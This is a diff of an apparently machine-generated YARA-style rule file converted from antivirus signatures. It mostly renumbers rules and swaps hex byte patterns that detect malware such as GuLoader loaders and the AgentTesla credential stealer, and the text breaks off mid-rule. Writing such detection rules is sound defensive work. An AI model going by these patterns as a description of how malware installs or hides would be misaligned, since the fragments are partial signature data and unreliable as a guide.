"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -211840,7 +225852,7 @@ rule _InfrastructureShared_17685{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*111+(#a_00_3 & 1)*115+(#a_00_4 & 1)*116+(#a_43_5 & 1)*21249) >=5 } -rule _InfrastructureShared_17686{ +rule _InfrastructureShared_18836{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 0c 00 21 " @@ -211861,7 +225873,7 @@ rule _InfrastructureShared_17686{ ((#a_46_0 & 1)*21283+(#a_02_1 & 1)*28277+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2+(#a_01_4 & 1)*2+(#a_01_5 & 1)*2+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_3a_11 & 1)*0) >=5 } -rule _InfrastructureShared_17687{ +rule _InfrastructureShared_18837{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -211877,7 +225889,7 @@ rule _InfrastructureShared_17687{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*30024+(#a_6d_2 & 1)*25966+(#a_75_3 & 1)*16725+(#a_6e_4 & 1)*26723+(#a_3d_5 & 1)*28521+(#a_65_6 & 1)*384) >=7 } -rule _InfrastructureShared_17688{ +rule _InfrastructureShared_18838{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -211894,7 +225906,7 @@ rule _InfrastructureShared_17688{ ((#a_46_0 & 1)*16675+(#a_3d_1 & 1)*25966+(#a_3d_2 & 1)*13943+(#a_6d_3 & 1)*21612+(#a_61_4 & 1)*29798+(#a_76_5 & 1)*29541+(#a_65_6 & 1)*26998+(#a_72_7 & 1)*21362) >=8 } -rule _InfrastructureShared_17689{ +rule _InfrastructureShared_18839{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -211911,7 +225923,7 @@ rule _InfrastructureShared_17689{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*28013+(#a_6e_2 & 1)*27759+(#a_72_3 & 1)*25692+(#a_63_4 & 1)*27694+(#a_6f_5 & 1)*26994+(#a_65_6 & 1)*12079+(#a_6e_7 & 1)*8307) >=8 } -rule _InfrastructureShared_17690{ +rule _InfrastructureShared_18840{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -211927,7 +225939,7 @@ rule _InfrastructureShared_17690{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*25449+(#a_74_3 & 1)*16641+(#a_65_4 & 1)*29554+(#a_61_5 & 1)*29554+(#a_5c_6 & 1)*29548+(#a_74_7 & 1)*28531) >=8 } -rule _InfrastructureShared_17691{ +rule _InfrastructureShared_18841{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -211944,7 +225956,7 @@ rule _InfrastructureShared_17691{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*24948+(#a_6c_2 & 1)*23660+(#a_54_3 & 1)*18467+(#a_72_4 & 1)*29540+(#a_44_5 & 1)*25970+(#a_73_6 & 1)*27745+(#a_65_7 & 1)*25959) >=8 } -rule _InfrastructureShared_17692{ +rule _InfrastructureShared_18842{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -211963,7 +225975,7 @@ rule _InfrastructureShared_17692{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29540+(#a_44_2 & 1)*25970+(#a_73_3 & 1)*27745+(#a_65_4 & 1)*25959+(#a_73_5 & 1)*29550+(#a_01_6 & 1)*6400+(#a_00_7 & 1)*31073+(#a_72_8 & 1)*384+(#a_76_9 & 1)*21106) >=10 } -rule _InfrastructureShared_17693{ +rule _InfrastructureShared_18843{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -211981,7 +225993,7 @@ rule _InfrastructureShared_17693{ ((#a_54_0 & 1)*18467+(#a_6a_1 & 1)*29541+(#a_70_2 & 1)*11877+(#a_6f_3 & 1)*29801+(#a_43_4 & 1)*21505+(#a_70_5 & 1)*20993+(#a_01_6 & 1)*9472+(#a_54_7 & 1)*25445+(#a_65_8 & 1)*25963) >=10 } -rule _InfrastructureShared_17694{ +rule _InfrastructureShared_18844{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -212001,7 +226013,7 @@ rule _InfrastructureShared_17694{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*25972+(#a_6c_2 & 1)*25938+(#a_72_3 & 1)*28271+(#a_65_4 & 1)*29795+(#a_74_5 & 1)*18689+(#a_00_6 & 1)*114+(#a_2d_7 & 1)*769+(#a_49_8 & 1)*12851+(#a_01_9 & 1)*1+(#a_3b_10 & 1)*0) >=11 } -rule _InfrastructureShared_17695{ +rule _InfrastructureShared_18845{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -212023,7 +226035,7 @@ rule _InfrastructureShared_17695{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25940+(#a_74_2 & 1)*25940+(#a_57_3 & 1)*21076+(#a_ff_4 & 1)*656+(#a_00_5 & 1)*3467+(#a_30_6 & 1)*-28670+(#a_2d_7 & 1)*769+(#a_6c_8 & 1)*29806+(#a_00_10 & 1)*32+(#a_00_12 & 1)*116+(#a_30_13 & 1)*300+(#a_2c_14 & 1)*2) >=15 } -rule _InfrastructureShared_17696{ +rule _InfrastructureShared_18846{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -212038,7 +226050,7 @@ rule _InfrastructureShared_17696{ ((#a_54_0 & 1)*18467+(#a_03_1 & 1)*1168+(#a_01_2 & 1)*-211+(#a_48_3 & 1)*260+(#a_90_4 & 1)*12290+(#a_00_5 & 1)*105) >=1 } -rule _InfrastructureShared_17697{ +rule _InfrastructureShared_18847{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -212049,7 +226061,7 @@ rule _InfrastructureShared_17697{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*100) >=2 } -rule _InfrastructureShared_17698{ +rule _InfrastructureShared_18848{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -212062,7 +226074,7 @@ rule _InfrastructureShared_17698{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*-28550+(#a_2d_2 & 1)*23085+(#a_65_3 & 1)*24940) >=2 } -rule _InfrastructureShared_17699{ +rule _InfrastructureShared_18849{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -212076,7 +226088,7 @@ rule _InfrastructureShared_17699{ ((#a_4c_0 & 1)*21539+(#a_20_1 & 1)*20736+(#a_69_2 & 1)*12064+(#a_00_3 & 1)*31092+(#a_43_4 & 1)*11777) >=3 } -rule _InfrastructureShared_17700{ +rule _InfrastructureShared_18850{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 09 00 21 " @@ -212093,7 +226105,7 @@ rule _InfrastructureShared_17700{ ((#a_46_0 & 1)*16675+(#a_45_1 & 1)*14637+(#a_8b_2 & 1)*400+(#a_73_4 & 1)*4608+(#a_65_5 & 1)*28515+(#a_74_6 & 1)*17665+(#a_00_7 & 1)*110+(#a_00_8 & 1)*14637) >=3 } -rule _InfrastructureShared_17701{ +rule _InfrastructureShared_18851{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -212106,7 +226118,7 @@ rule _InfrastructureShared_17701{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*105+(#a_00_2 & 1)*111+(#a_00_3 & 1)*2448) >=4 } -rule _InfrastructureShared_17702{ +rule _InfrastructureShared_18852{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -212119,7 +226131,7 @@ rule _InfrastructureShared_17702{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*11617+(#a_5a_2 & 1)*16762+(#a_00_3 & 1)*40) >=4 } -rule _InfrastructureShared_17703{ +rule _InfrastructureShared_18853{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -212131,7 +226143,7 @@ rule _InfrastructureShared_17703{ ((#a_54_0 & 1)*18467+(#a_90_2 & 1)*2061+(#a_75_3 & 1)*29541) >=4 } -rule _InfrastructureShared_17704{ +rule _InfrastructureShared_18854{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -212145,7 +226157,7 @@ rule _InfrastructureShared_17704{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*3+(#a_00_2 & 1)*400+(#a_12_3 & 1)*4874+(#a_0a_4 & 1)*1800) >=5 } -rule _InfrastructureShared_17705{ +rule _InfrastructureShared_18855{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -212161,7 +226173,7 @@ rule _InfrastructureShared_17705{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*9217+(#a_74_2 & 1)*16732+(#a_67_3 & 1)*29812+(#a_66_4 & 1)*19558+(#a_6b_5 & 1)*28275+(#a_73_6 & 1)*25458) >=7 } -rule _InfrastructureShared_17706{ +rule _InfrastructureShared_18856{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -212178,7 +226190,7 @@ rule _InfrastructureShared_17706{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_03_6 & 1)*1+(#a_3b_7 & 1)*0) >=8 } -rule _InfrastructureShared_17707{ +rule _InfrastructureShared_18857{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 08 00 0e 00 21 " @@ -212201,7 +226213,7 @@ rule _InfrastructureShared_17707{ ((#a_77_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*2+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_3b_11 & 1)*0+(#a_63_12 & 1)*29548+(#a_73_13 & 1)*26740) >=8 } -rule _InfrastructureShared_17708{ +rule _InfrastructureShared_18858{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 07 00 21 " @@ -212217,7 +226229,7 @@ rule _InfrastructureShared_17708{ ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*28784+(#a_6e_2 & 1)*8313+(#a_00_3 & 1)*102+(#a_72_4 & 1)*14930+(#a_01_5 & 1)*3072+(#a_67_6 & 1)*-32490) >=11 } -rule _InfrastructureShared_17709{ +rule _InfrastructureShared_18859{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -212237,7 +226249,7 @@ rule _InfrastructureShared_17709{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*26994+(#a_69_2 & 1)*29813+(#a_53_3 & 1)*8993+(#a_4d_4 & 1)*6912+(#a_53_5 & 1)*28265+(#a_72_6 & 1)*11891+(#a_65_7 & 1)*28271+(#a_69_8 & 1)*29779+(#a_45_10 & 1)*18804+(#a_45_11 & 1)*3584) >=12 } -rule _InfrastructureShared_17710{ +rule _InfrastructureShared_18860{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -212260,7 +226272,7 @@ rule _InfrastructureShared_17710{ ((#a_54_0 & 1)*18467+(#a_46_1 & 1)*29554+(#a_75_2 & 1)*29541+(#a_65_3 & 1)*25697+(#a_2f_4 & 1)*29807+(#a_2e_5 & 1)*29806+(#a_e8_6 & 1)*-20579+(#a_49_7 & 1)*11878+(#a_00_8 & 1)*37+(#a_00_9 & 1)*111+(#a_41_10 & 1)*26114+(#a_0f_11 & 1)*656+(#a_06_12 & 1)*400+(#a_08_13 & 1)*400) >=14 } -rule _InfrastructureShared_17711{ +rule _InfrastructureShared_18861{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -212271,7 +226283,7 @@ rule _InfrastructureShared_17711{ ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*26994) >=1 } -rule _InfrastructureShared_17712{ +rule _InfrastructureShared_18862{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -212282,7 +226294,7 @@ rule _InfrastructureShared_17712{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*115) >=1 } -rule _InfrastructureShared_17713{ +rule _InfrastructureShared_18863{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -212293,7 +226305,7 @@ rule _InfrastructureShared_17713{ ((#a_46_0 & 1)*16675+(#a_45_1 & 1)*3842) >=2 } -rule _InfrastructureShared_17714{ +rule _InfrastructureShared_18864{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -212304,7 +226316,7 @@ rule _InfrastructureShared_17714{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*112) >=2 } -rule _InfrastructureShared_17715{ +rule _InfrastructureShared_18865{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -212317,7 +226329,7 @@ rule _InfrastructureShared_17715{ ((#a_70_0 & 1)*16675+(#a_73_1 & 1)*30067+(#a_4e_2 & 1)*8274+(#a_00_3 & 1)*9530) >=2 } -rule _InfrastructureShared_17716{ +rule _InfrastructureShared_18866{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -212328,7 +226340,7 @@ rule _InfrastructureShared_17716{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*51) >=3 } -rule _InfrastructureShared_17717{ +rule _InfrastructureShared_18867{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -212341,7 +226353,7 @@ rule _InfrastructureShared_17717{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*12135+(#a_01_2 & 1)*26414+(#a_00_3 & 1)*15480) >=3 } -rule _InfrastructureShared_17718{ +rule _InfrastructureShared_18868{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 03 00 05 00 21 " @@ -212354,7 +226366,7 @@ rule _InfrastructureShared_17718{ ((#a_46_0 & 1)*21283+(#a_02_2 & 1)*97+(#a_00_3 & 1)*8194+(#a_00_4 & 1)*109) >=3 } -rule _InfrastructureShared_17719{ +rule _InfrastructureShared_18869{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -212365,7 +226377,7 @@ rule _InfrastructureShared_17719{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*70) >=4 } -rule _InfrastructureShared_17720{ +rule _InfrastructureShared_18870{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 10 00 21 " @@ -212390,7 +226402,7 @@ rule _InfrastructureShared_17720{ ((#a_46_0 & 1)*21283+(#a_61_1 & 1)*29279+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2+(#a_01_4 & 1)*2+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_00_7 & 1)*-10+(#a_00_8 & 1)*-10+(#a_00_9 & 1)*-10+(#a_3c_10 & 1)*0+(#a_4d_11 & 1)*265+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1) >=4 } -rule _InfrastructureShared_17721{ +rule _InfrastructureShared_18871{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 11 00 21 " @@ -212414,7 +226426,7 @@ rule _InfrastructureShared_17721{ ((#a_77_0 & 1)*16675+(#a_65_1 & 1)*25902+(#a_6f_2 & 1)*26957+(#a_54_3 & 1)*8524+(#a_62_4 & 1)*25971+(#a_01_5 & 1)*0+(#a_20_6 & 1)*17732+(#a_53_8 & 1)*23553+(#a_65_9 & 1)*24933+(#a_00_10 & 1)*7+(#a_63_11 & 1)*18490+(#a_64_12 & 1)*28781+(#a_64_14 & 1)*29251+(#a_20_15 & 1)*24937+(#a_6f_16 & 1)*29545) >=4 } -rule _InfrastructureShared_17722{ +rule _InfrastructureShared_18872{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -212426,7 +226438,7 @@ rule _InfrastructureShared_17722{ ((#a_4c_0 & 1)*21539+(#a_2e_1 & 1)*26223+(#a_15_2 & 1)*544) >=5 } -rule _InfrastructureShared_17723{ +rule _InfrastructureShared_18873{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -212442,7 +226454,7 @@ rule _InfrastructureShared_17723{ ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*21574+(#a_52_2 & 1)*12851+(#a_6c_3 & 1)*30496+(#a_68_4 & 1)*12325+(#a_70_5 & 1)*30052+(#a_53_6 & 1)*29806) >=7 } -rule _InfrastructureShared_17724{ +rule _InfrastructureShared_18874{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -212461,7 +226473,7 @@ rule _InfrastructureShared_17724{ ((#a_4c_0 & 1)*21539+(#a_70_1 & 1)*30020+(#a_75_2 & 1)*8292+(#a_64_3 & 1)*29251+(#a_74_4 & 1)*26625+(#a_73_5 & 1)*21038+(#a_81_6 & 1)*1+(#a_3c_7 & 1)*0+(#a_6e_8 & 1)*25972+(#a_74_9 & 1)*24938) >=7 } -rule _InfrastructureShared_17725{ +rule _InfrastructureShared_18875{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -212478,7 +226490,7 @@ rule _InfrastructureShared_17725{ ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*12339+(#a_77_2 & 1)*30278+(#a_00_3 & 1)*25963+(#a_65_4 & 1)*385+(#a_32_5 & 1)*28265+(#a_79_6 & 1)*28783+(#a_6e_7 & 1)*29555) >=8 } -rule _InfrastructureShared_17726{ +rule _InfrastructureShared_18876{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -212495,7 +226507,7 @@ rule _InfrastructureShared_17726{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*9587+(#a_6e_2 & 1)*25962+(#a_00_3 & 1)*25956+(#a_6d_4 & 1)*29769+(#a_72_5 & 1)*28531+(#a_2e_6 & 1)*29810+(#a_43_7 & 1)*25970) >=8 } -rule _InfrastructureShared_17727{ +rule _InfrastructureShared_18877{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 09 00 21 " @@ -212507,12 +226519,12 @@ rule _InfrastructureShared_17727{ $a_65_4 = {43 4c 41 53 53 45 53 5c 2e 67 70 73 01 00 13 81 01 47 4f 4d 4d 4f 44 55 4c 45 55 50 44 41 54 45 2e 45 58 45 01 00 17 81 01 48 54 54 50 5c 73 68 65 6c 6c 5c 6f 70 65 6e 5c 63 6f 6d 6d 61 6e 64 01 00 24 81 01 41 70 70 58 71 30 66 65 76 7a 6d 65 32 70 79 73 36 32 6e 33 65 30 66 62 71 61 37 70 65 61 70 79 6b 72 38 76 01 00 12 81 01 5c 46 69 6e } //24951 $a_57_5 = {6c 63 6f 6d 65 2e 62 6d 70 01 00 23 81 01 49 6e 73 74 61 6c 6c 65 72 20 63 6f 72 72 75 70 74 65 64 3a 20 69 6e 76 61 6c 69 64 20 6f 70 63 6f 64 65 01 00 0e 81 01 41 66 72 6f 77 20 53 6f 66 74 20 4c 74 64 01 00 20 81 01 42 75 74 74 6f 6e 45 76 65 6e 74 20 44 79 6e 61 6d 69 63 20 4c 69 6e 6b 20 4c 69 62 72 61 72 } //29545 $a_00_7 = {0a 00 0a 00 21 23 48 53 54 52 } //1 - $a_6e_8 = {32 2f 47 75 6c 6f 61 64 65 72 2e 4b 46 46 51 31 32 33 21 4d 54 42 00 01 00 17 81 01 70 61 74 74 65 72 6e 65 20 66 61 72 69 73 68 20 61 6c 74 65 73 73 65 01 00 10 81 01 66 6f 72 76 72 69 64 6e 69 6e 67 65 72 6e 65 73 01 00 13 81 01 62 65 61 74 75 74 69 20 73 6c 79 6e 67 72 6f 73 65 72 73 01 00 10 81 01 61 68 72 65 } //22330 + $a_6f_8 = {61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 4f 21 4d 54 42 00 01 00 19 81 01 5c 45 69 62 72 69 74 68 73 38 37 5c 67 69 62 72 61 6c 74 61 72 2e 69 6e 69 01 00 13 81 01 5c 53 71 75 61 6d 69 70 65 6e 6e 65 73 31 33 2e 6c 6e 6b 01 00 1b 81 01 5c 74 72 69 74 74 65 74 5c 70 61 6c 65 6f 67 72 61 70 68 69 63 61 6c 2e 7a 69 70 01 00 } //21562 condition: - ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*21057+(#a_73_2 & 1)*29230+(#a_65_3 & 1)*26995+(#a_65_4 & 1)*24951+(#a_57_5 & 1)*29545+(#a_00_7 & 1)*1+(#a_6e_8 & 1)*22330) >=10 + ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*21057+(#a_73_2 & 1)*29230+(#a_65_3 & 1)*26995+(#a_65_4 & 1)*24951+(#a_57_5 & 1)*29545+(#a_00_7 & 1)*1+(#a_6f_8 & 1)*21562) >=10 } -rule _InfrastructureShared_17728{ +rule _InfrastructureShared_18878{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -212520,18 +226532,36 @@ rule _InfrastructureShared_17728{ $a_54_0 = {3a 50 55 41 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 0c 81 01 5c 74 6f 75 63 68 5c 54 4f 55 43 48 01 00 10 81 01 2e 65 78 65 22 20 2f 52 65 67 53 65 72 76 65 72 01 00 15 81 01 53 6f 66 74 77 61 72 65 5c 43 4c 41 53 53 } //18467 $a_2e_1 = {70 73 01 00 13 81 01 47 4f 4d 4d 4f 44 55 4c 45 55 50 44 41 54 45 2e 45 58 45 01 00 17 81 01 48 54 54 50 5c 73 68 65 6c 6c 5c 6f 70 65 6e 5c 63 6f 6d 6d 61 6e 64 01 00 24 81 01 41 70 70 58 71 30 66 65 76 7a 6d 65 32 70 79 73 36 32 6e 33 65 30 66 62 71 61 37 70 65 61 70 79 6b } //21317 $a_01_2 = {00 12 81 01 5c 46 69 6e 69 73 68 57 65 6c 63 6f 6d 65 2e 62 6d 70 01 00 23 81 01 49 6e 73 74 61 6c 6c 65 72 20 63 6f 72 72 75 70 74 65 64 3a 20 69 6e 76 61 6c 69 64 20 6f 70 63 6f 64 65 01 00 0e 81 01 41 66 72 6f 77 20 53 6f 66 74 20 4c 74 64 01 00 20 81 01 42 75 74 74 6f 6e 45 76 65 6e 74 20 44 79 6e 61 6d 69 63 20 4c 69 6e 6b 20 4c 69 62 72 61 72 79 } //14450 - $a_3c_3 = {00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 46 46 51 31 32 33 21 4d 54 42 00 01 00 17 81 01 70 61 74 74 65 72 6e 65 20 66 61 72 69 73 68 20 61 6c 74 65 73 73 65 01 00 10 81 01 66 6f 72 76 72 69 64 6e 69 6e 67 65 72 6e 65 73 01 00 13 81 01 62 65 61 74 75 74 69 20 73 6c 79 6e 67 72 6f 73 65 72 73 01 00 10 81 01 61 } //0 - $a_6e_4 = {74 73 20 65 61 73 74 6d 61 6e 01 00 11 81 01 68 6f 73 70 69 74 61 6c 69 74 69 65 73 2e 63 6f 66 01 00 1c 81 01 23 5c 64 69 73 73 69 70 61 74 6f 72 5c 46 6f 72 6d 61 6c 69 7a 61 62 6c 65 31 33 33 01 00 27 81 01 25 67 72 75 6e 64 74 6f 6e 65 72 6e 65 25 5c 6d 65 73 74 65 72 6d 61 67 65 72 65 6e 5c 42 61 } //29288 - $a_74_5 = {69 62 65 01 00 1c 81 01 53 6f 66 74 77 61 72 65 5c 46 69 6c 69 70 70 69 6e 65 72 6e 65 73 5c 6f 73 74 65 74 01 00 0f 81 01 64 61 6d 70 72 65 6e 73 6e 69 6e 67 65 72 73 01 00 17 81 01 25 68 65 6e 69 71 75 65 6e 73 25 5c 72 65 74 6f 75 63 68 61 62 6c 65 00 00 78 3c 01 00 0c 00 0c 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d } //26995 - $a_2f_6 = {67 65 6e 74 54 65 73 6c 61 2e 56 49 53 34 21 4d 54 42 00 0a 00 fd 02 14 0c 16 0d 16 13 04 16 13 05 14 13 06 16 13 07 73 90 01 04 13 08 17 13 0c 11 08 0c 00 2b 00 03 6f 90 01 04 13 09 00 11 09 17 da 13 09 00 16 13 0d 17 13 0e 11 } //18771 - $a_00_7 = {2b 00 17 13 } //4873 - $a_10_8 = {17 13 11 11 10 13 05 00 2b 00 00 11 05 11 04 fe 02 16 fe } //5647 - $a_11_9 = {2c 02 2b 11 00 08 6f 90 01 04 0b 00 00 07 0a 38 90 01 } //4865 + $a_3c_3 = {00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 4f 21 4d 54 42 00 01 00 19 81 01 5c 45 69 62 72 69 74 68 73 38 37 5c 67 69 62 72 61 6c 74 61 72 2e 69 6e 69 01 00 13 81 01 5c 53 71 75 61 6d 69 70 65 6e 6e 65 73 31 33 2e 6c 6e 6b 01 00 1b 81 01 5c 74 72 69 74 74 65 74 5c 70 61 6c 65 6f 67 72 61 } //0 + $a_63_4 = {6c 2e 7a 69 70 01 00 13 81 01 42 6f 72 74 76 61 73 6b 65 64 65 73 31 34 34 2e 69 6e 69 01 00 1a 81 01 53 6d 61 61 73 6b 6f 76 73 66 6f 72 65 6e 69 6e 67 65 72 6e 65 73 2e 6c 69 6c 01 00 0c 81 01 64 65 64 65 6e 64 75 6d 2e 73 74 65 01 00 14 81 01 74 76 69 6c 6c 69 6e 67 73 73 74 72 65 6e 65 73 2e 74 78 74 01 00 15 } //26736 + $a_72_5 = {73 75 62 6d 65 72 67 69 6e 67 5c 65 6e 76 2e 68 74 6d 01 00 18 81 01 5c 6a 6f 6c 61 6e 64 61 73 5c 69 6b 65 6e 64 65 6e 64 65 73 2e 6a 70 67 01 00 1c 81 01 5c 70 65 6e 6f 6c 6f 67 69 73 74 5c 70 72 6f 74 72 61 64 69 74 69 6f 6e 2e 69 6e 69 00 00 78 3c 01 00 0a 00 0a 00 0a 00 } //385 + $a_53_6 = {52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 46 46 51 31 32 33 21 4d 54 42 00 01 00 17 81 01 70 61 74 74 65 72 6e 65 20 66 61 72 69 73 68 20 61 6c 74 65 73 73 65 01 00 10 81 01 66 6f 72 76 72 69 64 6e 69 6e } //8993 + $a_6e_7 = {73 01 00 13 81 01 62 65 61 74 75 74 69 20 73 6c 79 6e 67 72 6f 73 65 72 73 01 00 10 81 01 61 68 72 65 6e 64 74 73 20 65 61 73 74 6d 61 6e 01 00 11 81 01 68 6f 73 70 69 74 61 6c 69 74 69 65 73 2e 63 6f 66 01 00 1c 81 01 23 5c 64 69 73 73 69 70 61 74 6f 72 5c 46 6f 72 6d 61 6c 69 7a 61 62 6c 65 31 33 33 01 00 27 81 01 25 67 72 75 6e 64 74 6f } //25959 + $a_6e_8 = {25 5c 6d 65 73 74 65 72 6d 61 67 65 72 65 6e 5c 42 61 73 69 6f 74 72 69 62 65 01 00 1c 81 01 53 6f 66 74 77 61 72 65 5c 46 69 6c 69 70 70 69 6e 65 72 6e 65 73 5c 6f 73 74 65 74 01 00 0f 81 01 64 61 6d 70 72 65 6e 73 6e 69 6e 67 65 72 73 01 00 17 81 01 25 68 65 6e 69 71 75 65 6e 73 25 5c 72 65 74 6f 75 63 68 61 62 6c 65 00 00 78 3c 01 00 0c } //25966 condition: - ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*21317+(#a_01_2 & 1)*14450+(#a_3c_3 & 1)*0+(#a_6e_4 & 1)*29288+(#a_74_5 & 